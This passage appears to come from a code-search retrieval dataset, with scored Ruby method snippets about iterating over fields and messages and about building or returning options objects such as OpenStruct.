self.respond_to?(\"#{key}=\")\n end\n if condition \n yield(key, value)\n end\n end\n end", "title": "" }, { "docid": "d5be40a1e77c78c19e01a5d9e4c541d6", "score": "0.5727009", "text": "def each_message\n @entries.each do |entry_|\n if entry_.type == :message\n yield entry_\n end\n end\n end", "title": "" }, { "docid": "29c72a5a09dec558e91d128a0a51f139", "score": "0.5708273", "text": "def walk\n @fields.collect { |node| \"#{SNMPPass.num2oid(node.oid)} = #{node.value.inspect} (#{node.type})\"}.join(\"\\n\")\n end", "title": "" }, { "docid": "7793db3c313f6517359ae3a0c3ef5f96", "score": "0.5707467", "text": "def dynamo_fields\n self.class.dynamo_fields.each do |dynamo_field|\n yield dynamo_field\n end\n end", "title": "" }, { "docid": "fe4819529dc92cbcef91cb6098788ac7", "score": "0.5703947", "text": "def fields\n return enum_for(:each) unless block_given?\n\n name = value = ''\n @data.each_line do |line|\n case line\n when /^(\\S+): (.+)/ # \"Key: Value\"\n yield(name, value) unless value.empty?\n name, value = $1, $2\n when /^(\\S+):\\s*/ # \"Key:\" (start of multi-line entry)\n yield(name, value) unless value.empty?\n name = $1\n value = ''\n when /^\\s+(.+)/ # \" Indented multi-line value\"\n value << \"\\n\" + $1\n when /^\\s+$/ # Empty line\n break\n end\n end\n\n # Any lines left at the end of the input?\n yield(name, value) unless value.empty?\n end", "title": "" }, { "docid": "a30a95213c90eef4612fd00aba791fd8", "score": "0.5687558", "text": "def each(&block)\n @messages.each(&block)\n end", "title": "" }, { "docid": "590631847a4f26b4230b3ac831644e25", "score": "0.5647173", "text": "def each\n @messages.each_key do |attribute|\n @messages[attribute].each{ |error| yield attribute, error }\n end\n end", "title": "" }, { "docid": "e4aa843be09cbedb5e0e731263979884", "score": "0.5632674", "text": "def items\n Enumerator.new do |gen|\n @lines.each do |line|\n line.chomp!\n if line.empty?\n event = maybe_create_event\n reset_buffers\n gen.yield event if !event.nil?\n else\n case line\n when /^(\\w+): ?(.*)$/\n item = process_field($1, $2)\n gen.yield item if !item.nil?\n end\n end\n end\n end\n end", "title": "" }, { "docid": "3286778095e237805eb234d417eceb80", "score": "0.56063193", "text": "def each\n messages.each_key do |attribute|\n self[attribute].each { |error| yield attribute, error }\n end\n end", "title": "" }, { "docid": "0bae0dcc19a3013cad7a9088fc6256ec", "score": "0.5606255", "text": "def each_message\n\t\t( 1 .. self.message_count ).each do |id|\n\t\t\tyield self.message( id )\n\t\tend\n\tend", "title": "" }, { "docid": "639f5c41abcb8b2089a65b42c1734824", "score": "0.56060857", "text": "def visit_field(node); end", "title": "" }, { "docid": "eabb410b643f144b0bee4a6f65860c3a", "score": "0.5584821", "text": "def generate_list\n Field::FIELD_NAMES.each do |name|\n f = get name\n if f.is_a? Array\n f.each do |multi_field|\n add_to_list(multi_field)\n end\n else\n add_to_list(f)\n end\n end\n end", "title": "" }, { "docid": "3b77aad5c5a6e9b58ad555667aa487af", "score": "0.55761665", "text": "def break_into_fields\n @lines.each do |line|\n fields = line.split(@separators[:field])\n @fields = fields.map { |field_text| Field.new(field_text, @separators[:comp]) }\n end\n end", "title": "" }, { "docid": "9e99d0bbdfa5df058aee8c1fa0880b16", "score": "0.5562382", "text": "def fields_for(record_or_name_or_array, *args, &block)\n super\n end", "title": "" }, { "docid": "0c6d15d36439a2e243dfe177b9b62ed5", "score": "0.5562343", "text": "def each(delimiter, field_count, start_match)\n unless block_given?\n return enum_for(__method__, delimiter, field_count, start_match)\n end\n\n # Whether the current field is the start-of-fields match\n matched_start = nil\n\n # The number of fields processed since passing the last start-of-fields\n # match\n seen_fields = 0\n\n fields = each_field(delimiter)\n\n # Close over +field_count+ and +seen_fields+ to yield empty strings to\n # the caller when we've already hit the next start-of-fields match\n yield_remaining = -> { (field_count - seen_fields).times { yield \"\" } }\n\n # Advance until the first start-of-fields match\n loop { break if fields.next =~ start_match }\n\n fields.each do |field|\n # If the current field is the start-of-fields match...\n if field =~ start_match\n # Fill out any remaining (unparseable) fields with empty strings\n yield_remaining.call\n\n matched_start = nil\n seen_fields = 0\n elsif seen_fields < field_count\n yield field\n seen_fields += 1\n end\n end\n\n # One last filling-out of empty fields if we're at the end of the stream\n yield_remaining.call\n\n read.close unless read.closed?\n end", "title": "" }, { "docid": "2867d995de1bf65118fadc2d84bee318", "score": "0.55397654", "text": "def fields(*attr_names, &block)\n attr_names.each { |attr_name| field(attr_name, &block) }\n end", "title": "" }, { "docid": "9823bf66f6e0efd3ddc64f0202f339b7", "score": "0.5536362", "text": "def each\n messages.each_key do |attribute|\n messages[attribute].each { |error| yield attribute, error }\n end\n end", "title": "" }, { "docid": "ab31f014379332f59d9b09a7c8281666", "score": "0.55348665", "text": "def each_entry_type( &block )\n field_types.each &block\n end", "title": "" }, { "docid": "c028981cc85bbc5449082b04baefa0d6", "score": "0.5525195", "text": "def process_fields(field_groups)\n fields = Merrit::Fields.new(self)\n field_groups.each do |group_key|\n if block = self.class.field_groups[group_key.to_sym]\n fields.merge! Merrit::Fields.new(self, &block)\n end\n end\n Merrit::Renderers::Json.new(fields)\n end", "title": "" }, { "docid": "60c9fbf80f7c1fba7084cc870515fa46", "score": "0.5520993", "text": "def elmo_fields_for(field_name, obj, *args, &block)\n options = args.extract_options!\n fields_for(field_name, obj, *(args << options.merge(:builder => ElmoFormBuilder)), &block)\n end", "title": "" }, { "docid": "7f78f282e87cfc6eb06c16b266e4ce19", "score": "0.5517967", "text": "def _fields; end", "title": "" }, { "docid": "33fb301abe555ff3ef6baa28fde4a07d", "score": "0.55083704", "text": "def each(&block)\n _each do |val, field, locale, index|\n yield(val, field, locale, index) if should_yield_field?(field, val)\n\n next unless should_walk_link?(field, val)\n\n self.class.new(val, *fields, depth: depth - 1).each(&block)\n end\n\n nil\n end", "title": "" }, { "docid": "3d6fdc7126db4af92d3575e8c9bcf419", "score": "0.5496059", "text": "def each_pair(&block)\n self.class.members.each{|field|\n block.call(field.to_sym, self[field])\n }\n self\n end", "title": "" }, { "docid": "3d6fdc7126db4af92d3575e8c9bcf419", "score": "0.5496059", "text": "def each_pair(&block)\n self.class.members.each{|field|\n block.call(field.to_sym, self[field])\n }\n self\n end", "title": "" }, { "docid": "ba254333286879e22c854ac49e740540", "score": "0.5484379", "text": "def fields(*values)\n values.inject(self) {|res, val| res._fields(val) or raise ArgumentError, \"Unknown value for field: #{val}\" }\n end", "title": "" }, { "docid": "0ed4c5984985d857d596da235ea340c6", "score": "0.54826236", "text": "def each\n each_element do |e|\n yield e.object\n end\n end", "title": "" }, { "docid": "956550df1cf78aa21e5326cc5ed695ce", "score": "0.54820913", "text": "def each( &block )\n each_value( &block )\n end", "title": "" }, { "docid": "b50b63a2b0ecc8a9fa83aedfadf324b0", "score": "0.54757243", "text": "def get_field(field, unwrap: false)\n if field.map?\n mutable_message_value = Google::Protobuf::FFI.get_mutable_message @msg, field, @arena\n get_map_field(mutable_message_value[:map], field)\n elsif field.repeated?\n mutable_message_value = Google::Protobuf::FFI.get_mutable_message @msg, field, @arena\n get_repeated_field(mutable_message_value[:array], field)\n elsif field.sub_message?\n return nil unless Google::Protobuf::FFI.get_message_has @msg, field\n sub_message_def = Google::Protobuf::FFI.get_subtype_as_message(field)\n if unwrap\n if field.has?(self)\n wrapper_message_value = Google::Protobuf::FFI.get_message_value @msg, field\n fields = Google::Protobuf::FFI.field_count(sub_message_def)\n raise \"Sub message has #{fields} fields! Expected exactly 1.\" unless fields == 1\n value_field_def = Google::Protobuf::FFI.get_field_by_number sub_message_def, 1\n message_value = Google::Protobuf::FFI.get_message_value wrapper_message_value[:msg_val], value_field_def\n convert_upb_to_ruby message_value, Google::Protobuf::FFI.get_c_type(value_field_def)\n else\n nil\n end\n else\n mutable_message = Google::Protobuf::FFI.get_mutable_message @msg, field, @arena\n sub_message = mutable_message[:msg]\n Descriptor.send(:get_message, sub_message, sub_message_def, @arena)\n end\n else\n c_type = field.send(:c_type)\n message_value = Google::Protobuf::FFI.get_message_value @msg, field\n if c_type == :enum\n convert_upb_to_ruby message_value, c_type, Google::Protobuf::FFI.get_subtype_as_enum(field)\n else\n convert_upb_to_ruby message_value, c_type\n end\n end\n end", "title": "" }, { "docid": "ad55acebaa0b220a0e6656470ae1953f", "score": "0.54755396", "text": "def process_field_list\n return if @field_list.nil? or @field_list.length == 0\n @field_list.each do |f|\n f.set_form @form\n end\n end", "title": "" }, { "docid": "d442ceca7743f3c06a3df0b4677cfe58", "score": "0.546574", "text": "def each\n while true do\n msg = nextMsg\n if msg.nil?\n break\n end\n yield msg\n end\n end", "title": "" }, { "docid": "2b45612319b271d02df77c96c82f05ec", "score": "0.54545176", "text": "def each(query)\n operation = ->(message_id) { yield message_id } # rubocop:disable Style/ExplicitBlockArgument\n process query, operation\n end", "title": "" }, { "docid": "edca3e175ec5dc691f5e805959f118ff", "score": "0.5435972", "text": "def all_fields(&blk)\n field_type :all_fields, &blk\n end", "title": "" }, { "docid": "2f77cd1c50bcc3e2076d9d8e0b068395", "score": "0.5430533", "text": "def process_field(item)\n @field = Yarpler::Models::Field.new\n @field.variable = item[0].to_s\n @field.attribute = item[1].to_s\n end", "title": "" }, { "docid": "129423b4090da684f00d373158065a12", "score": "0.5430082", "text": "def each\n @attributes.items.each do |x|\n yield x\n end\n end", "title": "" }, { "docid": "049f9a9ac0608d2cfad24c3db605b1a8", "score": "0.54289335", "text": "def each_pair(&block)\n self.class.members.each{|field|\n block.call(field.to_sym, self[field])\n }\n self\n end", "title": "" }, { "docid": "049f9a9ac0608d2cfad24c3db605b1a8", "score": "0.54289335", "text": "def each_pair(&block)\n self.class.members.each{|field|\n block.call(field.to_sym, self[field])\n }\n self\n end", "title": "" }, { "docid": "558f1b0618a900f54dce9e627d8382b7", "score": "0.542323", "text": "def fields( *args )\n args = object.attribute_names - RESERVED_FIELDS if args.size == 0\n output = ''\n args.each do |f|\n output += field f\n end\n output\n end", "title": "" }, { "docid": "600bfa3c0701093f6bcf0fd985441d4b", "score": "0.5399461", "text": "def each_part\n raise TypeError, \"not a multipart message\" unless multipart?\n @body.each do |part|\n yield part\n end\n end", "title": "" }, { "docid": "306a8f340c0a26bb12c71c41b1cf71db", "score": "0.5395099", "text": "def each\n members.each {|x| yield x}\n end", "title": "" }, { "docid": "ebb144e148066e67aaed99e728cf7f49", "score": "0.5394267", "text": "def field_list_command(table, field)\n synchronize do\n reset\n write [COM_FIELD_LIST, table, 0, field].pack(\"Ca*Ca*\")\n fields = []\n until self.class.eof_packet?(data = read)\n fields.push Field.new(FieldPacket.parse(data))\n end\n return fields\n end\n end", "title": "" }, { "docid": "ebb144e148066e67aaed99e728cf7f49", "score": "0.5394267", "text": "def field_list_command(table, field)\n synchronize do\n reset\n write [COM_FIELD_LIST, table, 0, field].pack(\"Ca*Ca*\")\n fields = []\n until self.class.eof_packet?(data = read)\n fields.push Field.new(FieldPacket.parse(data))\n end\n return fields\n end\n end", "title": "" }, { "docid": "8a845990df584de4e1e7b9ad83df7a05", "score": "0.5380418", "text": "def describe_fields( &block )\r\n opts = {:offset => 0}\r\n\r\n if block_given?\r\n each_field {|f| f.describe(opts, &block)}\r\n @rest_field.describe(opts, &block)\r\n return nil \r\n end\r\n\r\n result = []\r\n each_field {|f| f.describe(opts) {|a| result << a}}\r\n @rest_field.describe(opts) {|a| result << a} if @rest_field\r\n result\r\n end", "title": "" }, { "docid": "358eef5f3ee86f0aea71e04819c1f9eb", "score": "0.5379522", "text": "def each_received(msg)\n received = msg.message.received\n if received.is_a?(Array)\n received.each_index do |i|\n update_metadata(msg, i, yield(received[i]))\n end\n else\n update_metadata(msg, 0, yield(received))\n end\n end", "title": "" }, { "docid": "a2f721829786f3e366418d670d837afb", "score": "0.53762466", "text": "def fields(*fields)\n @fields = fields\n end", "title": "" }, { "docid": "ab802ccdb5ae822af7232fc3770db943", "score": "0.5373727", "text": "def each\n @errors.each_key do |attr| \n @errors[attr].each { |msg| yield attr, msg }\n end\n end", "title": "" }, { "docid": "9f4d0f1b11a9496429d445cd59397a96", "score": "0.5371878", "text": "def fields(*args)\n @values[:fields] += args\n self\n end", "title": "" }, { "docid": "77c496cb137f4fa1a02fabdd5248d6c8", "score": "0.53557587", "text": "def retrieve_one_of_field(pb_message, one_of_field)\n which_field = pb_message.send(one_of_field)\n\n [which_field, pb_message.send(which_field)]\n end", "title": "" }, { "docid": "460ddf7985162f687a62b2ab1cc3e27d", "score": "0.5343995", "text": "def each\n\t\t\t\t@member_array.each {|x| yield x}\n\t\t\tend", "title": "" }, { "docid": "02579ecbf62c8a2e8865a51fe47ddc9d", "score": "0.5337668", "text": "def each\n @members.each {|m| yield m}\n end", "title": "" }, { "docid": "e89f1c03e8f89c51011e261dedb13b58", "score": "0.5336028", "text": "def traverse_array(field, value, direction, &block)\n if value.map(&:class).uniq.first == String\n value.map do |v|\n if Validators.reference?(v) || Validators.transformed_reference?(v)\n block.yield field, v\n else\n v\n end\n end\n elsif value.map(&:class).uniq.first == Hash\n value.map { |v| traverse_hash v, direction, &block }\n else\n value\n end\n end", "title": "" }, { "docid": "8d4a17646a8bd3ad690561f923353d5c", "score": "0.53299206", "text": "def set_fields(fields)\n fields.each { |key, value| set_field key, value }\n end", "title": "" }, { "docid": "2e946350e44bf6acbd6fab203374b028", "score": "0.5329051", "text": "def field(*args)\n result = self\n args.each do |name|\n result = result.get_field(name)\n end\n result\n end", "title": "" }, { "docid": "090d051f27d58b131e8565abdcf7f9bf", "score": "0.53287345", "text": "def each_record(&block); end", "title": "" }, { "docid": "93cdf7b3a9d979cd600ab08c64e5bf07", "score": "0.5322802", "text": "def fields(*args)\n results = args.map do |f|\n field(*Array(f))\n end\n self.class.new(results.flatten, @top)\n end", "title": "" }, { "docid": "c5b2093ee6df2863c6211742db966424", "score": "0.53216743", "text": "def map_fields(row, array_of_fields)\n result = array_of_fields.map do |field|\n if row[field[0]]\n #the class you pass in is used here and class objects are built\n yield(row, field)\n end\n end\n #removes nil values\n result.compact\n end", "title": "" }, { "docid": "5bc992ccbe555ed591dc692c74302299", "score": "0.53170294", "text": "def each\n @body.each { |x| yield x }\n end", "title": "" }, { "docid": "7af510afe320c80d7129092ba6ce63b0", "score": "0.53080565", "text": "def each(&block)\n members.each(&block)\n end", "title": "" } ]
7846e14bbc0f1c4d2f922fcf20ac159a
Get the root `options` object, and instance of OpenStruct
[ { "docid": "4ea36d67044ce93716728797f31d9558", "score": "0.76642805", "text": "def options\n @options ||= OpenStruct.new(default_options)\n end", "title": "" } ]
[ { "docid": "31056345df9bca01797fb31e4a056c7d", "score": "0.8128862", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "31056345df9bca01797fb31e4a056c7d", "score": "0.8128862", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "842a769825866eef726cf7b91f0195bd", "score": "0.81179374", "text": "def options \n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "2085f00c355c14e34f180f646d407c5a", "score": "0.79931587", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "3a9679f6c21f8a6d0fbbe7daacdb4f61", "score": "0.79303926", "text": "def options\n @options ||= OpenStruct.new\nend", "title": "" }, { "docid": "3a9679f6c21f8a6d0fbbe7daacdb4f61", "score": "0.79303926", "text": "def options\n @options ||= OpenStruct.new\nend", "title": "" }, { "docid": "3a9679f6c21f8a6d0fbbe7daacdb4f61", "score": "0.79303926", "text": "def options\n @options ||= OpenStruct.new\nend", "title": "" }, { "docid": "7fecd957281f28dfd9657639860bd8ca", "score": "0.6843573", "text": "def options\n @object.try(:options) || DEFAULT_OPTIONS\n end", "title": "" }, { "docid": "58d89ca1361e3dfd0c5c3fc866ff6c2a", "score": "0.6712411", "text": "def options()\n @options ||= OpenStruct.new({\n :debug => false,\n :gist_api_url => nil,\n :gist_extension => defaults[\"extension\"],\n :private_gist => defaults[\"private\"],\n :browse_enabled => defaults[\"browse\"],\n :embed_enabled => nil,\n :description => nil,\n :setup_credentials => false\n })\n end", "title": "" }, { "docid": "c9f1cbd7e179ca7e2b36c744d010a455", "score": "0.67064697", "text": "def convert_to_openstruct?(options) # :nodoc:\n @@use_openstruct ? Options.new(options) : options\n end", "title": "" }, { "docid": "e719d0e995e7c71efbd41bb27d1387fd", "score": "0.66856754", "text": "def default_options\n @default_options ||= OpenStruct.new\n end", "title": "" }, { "docid": "6ed74dba296959aab9f4c8db61819588", "score": "0.6556495", "text": "def options\n @options ||= Options.new\n end", "title": "" }, { "docid": "6ed74dba296959aab9f4c8db61819588", "score": "0.6556495", "text": "def options\n @options ||= Options.new\n end", "title": "" }, { "docid": "1d8662313f8b6e8eb0e9cff350689315", "score": "0.64856684", "text": "def initialize(options) #:nodoc:\n self.config = OpenStruct.new(options)\n end", "title": "" }, { "docid": "f6648dab038948d4b3e960eb4fddb9b2", "score": "0.6484605", "text": "def options\n self[:options] || {}\n end", "title": "" }, { "docid": "99ed2424b89e3745a10881a53bb1aa1a", "score": "0.6447886", "text": "def options\n self[:options] || {}\n end", "title": "" }, { "docid": "0f08fe35bab001cf9af4267935bcfc53", "score": "0.6439302", "text": "def options\n @options ||= self.class.options\n end", "title": "" }, { "docid": "a0f553b6d982847e4505ff2cb97b8982", "score": "0.6407614", "text": "def get_options\n @options\n end", "title": "" }, { "docid": "c4dad52596b4a628b91c41ff94a6acf8", "score": "0.638385", "text": "def initialize_options\n @options = @spec.options.inject({}) do |options, (name, params)|\n options[name] = Option.new\n options[name].enabled = false\n options[name].description = params[\"description\"] || params\n options[name].files = params[\"files\"] || {}\n options\n end.to_struct if @spec.options\n end", "title": "" }, { "docid": "9781b6cc737616630cec9fd67a4521c6", "score": "0.6372331", "text": "def options ; @options ||= get(:options) end", "title": "" }, { "docid": "17059046722467781a12d0b0f4b3fbdb", "score": "0.63486826", "text": "def options\n @options || parse_and_return(:@options)\n end", "title": "" }, { "docid": "cd5529bda76a0396edf994baf1fb5863", "score": "0.6296488", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "cd5529bda76a0396edf994baf1fb5863", "score": "0.6296488", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "cd5529bda76a0396edf994baf1fb5863", "score": "0.6296488", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "d2bef2bce81eb7b04b79ca77d2e1f5b5", "score": "0.6287252", "text": "def get_model_options\n Org::Options.new(request_parameters)\n end", "title": "" }, { "docid": "482301c6303f59c41d443b7d74140e4e", "score": "0.626414", "text": "def initialize(topts = {}, kopts = {}) #:yields: opts_struct\n @options = topts\n kopts.each_pair { |k, v| instance_variable_set(:\"@#{k}\", v) }\n\n return unless block_given?\n\n o = OpenStruct.new(@options)\n yield o\n @options = o.to_h\n end", "title": "" }, { "docid": "e196af5437fac879ed286d11e2347d05", "score": "0.6232801", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "e196af5437fac879ed286d11e2347d05", "score": "0.6232801", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "e196af5437fac879ed286d11e2347d05", "score": "0.6232801", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "34bade85081ace80dacca8e1757c6679", "score": "0.6219257", "text": "def options\n return @data.options\n end", "title": "" }, { "docid": "bd05089e3cfc678ca5ebeba29a17958e", "score": "0.6204447", "text": "def get_options; end", "title": "" }, { "docid": "66b83d8de478f05677f88f0632c4afb1", "score": "0.6193533", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "66b83d8de478f05677f88f0632c4afb1", "score": "0.6193533", "text": "def options\n @options ||= {}\n end", "title": "" }, { "docid": "abd5fd5d515de7e7e138a9f6a426fc0a", "score": "0.6188637", "text": "def options\n @options || {}\n end", "title": "" }, { "docid": "75903ee105055e19fba3a0a2070e1ba5", "score": "0.61815953", "text": "def to_struct\n\t\tvalues = @option.values.collect { |o| o.value }\n\t\tStruct.new(nil, *@option.keys).new(*values)\n\tend", "title": "" }, { "docid": "8801311e750043c8bf95e7274f19a42d", "score": "0.61815363", "text": "def obj\n @opts[:obj]\n end", "title": "" }, { "docid": "e0a58b09d3a20b726b599c5cfaf9b21c", "score": "0.61773777", "text": "def get_options\n options = {}\n options[:commands] = []\n options[:commands] << :add\n options[:commands] << :update\n options[:commands] << :print\n \n options[:tag_file] = File.expand_path('../data/example-tags.xml', File.dirname(__FILE__))\n \n options[:in_path] = File.expand_path('../data/tokyo-drift.flv', File.dirname(__FILE__))\n options[:out_path] = File.expand_path('../data/tokyo-drift-processed.flv', File.dirname(__FILE__))\n \n options[:metadatacreator] = \"inlet media FLVTool2 v1.0.7 - http://www.inlet-media.de/flvtool2\"\n options[:metadata] = {}\n options[:in_pipe] = false\n options[:out_pipe] = false\n options[:simulate] = false\n options[:verbose] = false\n options[:recursive] = false\n options[:preserve] = false\n options[:xml] = false\n options[:compatibility_mode] = false\n options[:in_point] = nil\n options[:out_point] = nil\n options[:keyframe_mode] = false\n options[:tag_number] = nil\n options[:stream_log] = true\n options[:collapse] = false\n \n return options\nend", "title": "" }, { "docid": "ad091d2dfae5ce31f80d87ada2e3092b", "score": "0.6173245", "text": "def options\n if @store and @store.rdoc then\n @store.rdoc.options\n else\n RDoc::Options.new\n end\n end", "title": "" }, { "docid": "ae4e40492926876a02ecbacca0f33d20", "score": "0.6170598", "text": "def options\n @options ||= {}\n @options\n end", "title": "" }, { "docid": "6fd1f2009e80bcf7770cf8822ff7abb3", "score": "0.616648", "text": "def options\n @options ||= Launchr::OrderedHash.new\n @options\n end", "title": "" }, { "docid": "d1cf99c4db1da00e853a6126a97a69a1", "score": "0.6144973", "text": "def options\n data[:options]\n end", "title": "" }, { "docid": "897779473d5fe12afc2c61dc783bf5b2", "score": "0.61310387", "text": "def options\n return @options\n end", "title": "" }, { "docid": "3292ab247ca439bbfb47ed4fff7d1464", "score": "0.6126917", "text": "def options\n self.class.options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.611745", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.611745", "text": "def options\n @options\n end", "title": "" }, { "docid": "83d25c20f55c6a681e0f1180d326761b", "score": "0.61057246", "text": "def options\n @_options ||= {}\n end", "title": "" }, { "docid": "33f1be263af8b39a5097076d9c458a98", "score": "0.60998344", "text": "def initialize(options = {})\n @options = OpenStruct.new(options)\n self.class.instance_eval do\n def_delegators :@options, *options.keys\n end\n end", "title": "" }, { "docid": "ae7657099966f827526ab8214a51292e", "score": "0.608275", "text": "def root_options(options)\n @options = options\n end", "title": "" }, { "docid": "f4d159830053083a76472b4f117fa3a1", "score": "0.60826135", "text": "def options\n @options ||= Struct.new(:debug).new\n @options.debug ||= false\n @options\n end", "title": "" }, { "docid": "40b7135701e222c0d7ba4d0bca339c3d", "score": "0.60737157", "text": "def get_opts(operations)\n operations.first.plan.associations[:options]\n end", "title": "" }, { "docid": "ab7b9c9c13b2ef205993ceec1d8c27da", "score": "0.60451174", "text": "def get_options_parser\n options = {\n driver: nil,\n help: false,\n port: 9292,\n tolerant: false,\n }\n\n parser = OptionParser.new do |opts|\n opts.banner = \"Usage: rackup [options] [JSON Schema file]\"\n\n opts.separator \"\"\n opts.separator \"Options:\"\n\n # required\n opts.on(\"-d\", \"--driver NAME\", \"name of driver [open_api_2|hyper_schema]\") { |name|\n options[:driver] = name.to_sym\n }\n\n opts.on_tail(\"-h\", \"-?\", \"--help\", \"Show this message\") {\n options[:help] = true\n }\n\n opts.on(\"-t\", \"--tolerant\", \"don't perform request/response validations\") {\n options[:tolerant] = true\n }\n\n opts.on(\"-p\", \"--port PORT\", \"use PORT (default: 9292)\") { |port|\n options[:port] = port\n }\n end\n [options, parser]\n end", "title": "" }, { "docid": "d79c3618af1bd9d2b0f854a1f5803d16", "score": "0.6025482", "text": "def object\n\t\t\t\t@object ||= @options[:object]\n\t\t\tend", "title": "" }, { "docid": "fcb73b5cf5a237e1015e212c2b9d3741", "score": "0.59972316", "text": "def set_default_options()\n @options = OpenStruct.new(\n :output_base => nil,\n :verbose => false,\n :config_file => nil,\n :samples => nil,\n :delay => 30,\n :scheduler_opts => ''\n )\nend", "title": "" }, { "docid": "4ec5d4dd79cf2b437acebe635400d516", "score": "0.5982887", "text": "def options\n @options\n end", "title": "" }, { "docid": "b8238d106be386cfb56d9c14e537890a", "score": "0.5967948", "text": "def extract_options\n last.is_a?(::Hash) ? last : {}\n end", "title": "" }, { "docid": "b18421377c0607ec88fdb21638ba73dc", "score": "0.5935687", "text": "def options\n @db.collections_info(@name).next_object()['options']\n end", "title": "" }, { "docid": "2e940e06fd2db0ed953d1625e8d5f8ac", "score": "0.5935385", "text": "def parsed_options\n config\n end", "title": "" }, { "docid": "ca24c520c2058ce2ca9a71119f84c39d", "score": "0.5934958", "text": "def options\n return @options\n end", "title": "" }, { "docid": "a51ad4c82444c7ae2b3ee61b587b3616", "score": "0.5931882", "text": "def options\n @options ||= if top_class?\n DEFAULT_OPTIONS\n else\n superclass.options\n end.dup\n end", "title": "" }, { "docid": "066ebc21a6aed4289f87643c418d5999", "score": "0.5919257", "text": "def options\n @options ||= Hash.new{ |h, k| h[k] = {} }\n end", "title": "" }, { "docid": "7c704151da358507092ed716b87f08f1", "score": "0.59178317", "text": "def obj_struct_build(options)\n if options.is_a? Array\n vals = group_by_class(options)\n vals.each { |k, v| set_attrs(k, v) }\n elsif options.is_a? Hash\n options.each { |k, v| set_attrs(k, v) } # multiple objects already built\n else\n klass = options.class.to_s.underscore\n set_attrs(klass, options)\n end\n end", "title": "" }, { "docid": "ab87cdc35a981ba4ee2c509df0ea167a", "score": "0.5900886", "text": "def options\n @options\n end", "title": "" }, { "docid": "ab87cdc35a981ba4ee2c509df0ea167a", "score": "0.5900886", "text": "def options\n @options\n end", "title": "" }, { "docid": "e350e1630b5ec9b7c93542a65f816a8c", "score": "0.590032", "text": "def options\n @@options\n end", "title": "" }, { "docid": "e350e1630b5ec9b7c93542a65f816a8c", "score": "0.590032", "text": "def options\n @@options\n end", "title": "" }, { "docid": "e350e1630b5ec9b7c93542a65f816a8c", "score": "0.590032", "text": "def options\n @@options\n end", "title": "" }, { "docid": "d842a7639d8ac97b148fa8c7429031f2", "score": "0.5898774", "text": "def options\n @_node.getOptions.map { |node| Node.new(node) }\n end", "title": "" }, { "docid": "d9507a63b5b7a64292b0c92134c141a3", "score": "0.5888938", "text": "def options; @opts end", "title": "" }, { "docid": "495419ea568ab1c50e1d8023645231e6", "score": "0.5873133", "text": "def options() end", "title": "" }, { "docid": "5406732085537bbe3ccdd51af3d49241", "score": "0.58547133", "text": "def options\n @options\n end", "title": "" }, { "docid": "3508b27e6f78b61aedf5bb90db6fcf8a", "score": "0.5853651", "text": "def getOptions\n return OptionParser.new\n end", "title": "" }, { "docid": "92ff16f111e733399100217cae8a238c", "score": "0.58312684", "text": "def options()\n {}\n end", "title": "" }, { "docid": "ded0c77232573e5c0550690bfe7d0db4", "score": "0.58262885", "text": "def get_op_opts(op)\n op.plan.associations[:options]\n end", "title": "" }, { "docid": "89896f619f322984bf64a222a230325e", "score": "0.5789601", "text": "def options\n @options ||= args.dig(:options) || {}\n end", "title": "" }, { "docid": "ec1fc9f1e5185ffebf8d13daa9a524e6", "score": "0.5786855", "text": "def options\n if self.namespace\n self.find('ns:option', :ns => self.namespace.href)\n else\n self.find('option')\n end.map { |f| Option.new(f) }\n end", "title": "" }, { "docid": "e5a68989ee96194e6aa8507e853dd5d9", "score": "0.5769442", "text": "def options\n self.class.instance_variable_get(:@__options) || []\n end", "title": "" }, { "docid": "397cc91bce271c531829126b302e7e78", "score": "0.576494", "text": "def options\n Http::Options.new(self, @options).invoke\n end", "title": "" }, { "docid": "2c14c98ceddbe4f6ba99a79f277f38f7", "score": "0.57497925", "text": "def parse_options; end", "title": "" }, { "docid": "2c14c98ceddbe4f6ba99a79f277f38f7", "score": "0.57497925", "text": "def parse_options; end", "title": "" }, { "docid": "3b27557770aa54213f9460e7afc14dd3", "score": "0.5744629", "text": "def options(opt)\n end", "title": "" }, { "docid": "b2a81023ebbd7a786398466837ba5c65", "score": "0.5737815", "text": "def options\n {}\n end", "title": "" }, { "docid": "b2a81023ebbd7a786398466837ba5c65", "score": "0.5737815", "text": "def options\n {}\n end", "title": "" }, { "docid": "d5c949c9e6c1ba747d3348370a31410d", "score": "0.5737783", "text": "def options\n @options ||= self.class.inversion_options(node, new_resource)\n end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.57313156", "text": "def options(opt); end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.5730247", "text": "def options(opt); end", "title": "" }, { "docid": "a96b25f3f0895c6149d958d9324abb72", "score": "0.57162863", "text": "def options\n attributes.fetch(:options)\n end", "title": "" }, { "docid": "7a3aa1a7906899fc7cb3c5114e15090c", "score": "0.571559", "text": "def options\n Properties[self.class] ||= {}\n return Properties[self.class][:opts] || []\n end", "title": "" }, { "docid": "c3ab978dc50e6fe5cf48f8af74ba36e6", "score": "0.5714906", "text": "def options\n @db.collections_info(@name).next_document['options']\n end", "title": "" }, { "docid": "a35772c72229ce7f2ba250459543fccd", "score": "0.571257", "text": "def options\n config.options\n end", "title": "" }, { "docid": "8767ce363455df32b47b0f1059b78ada", "score": "0.57010424", "text": "def options\n abstract!\n end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.56903195", 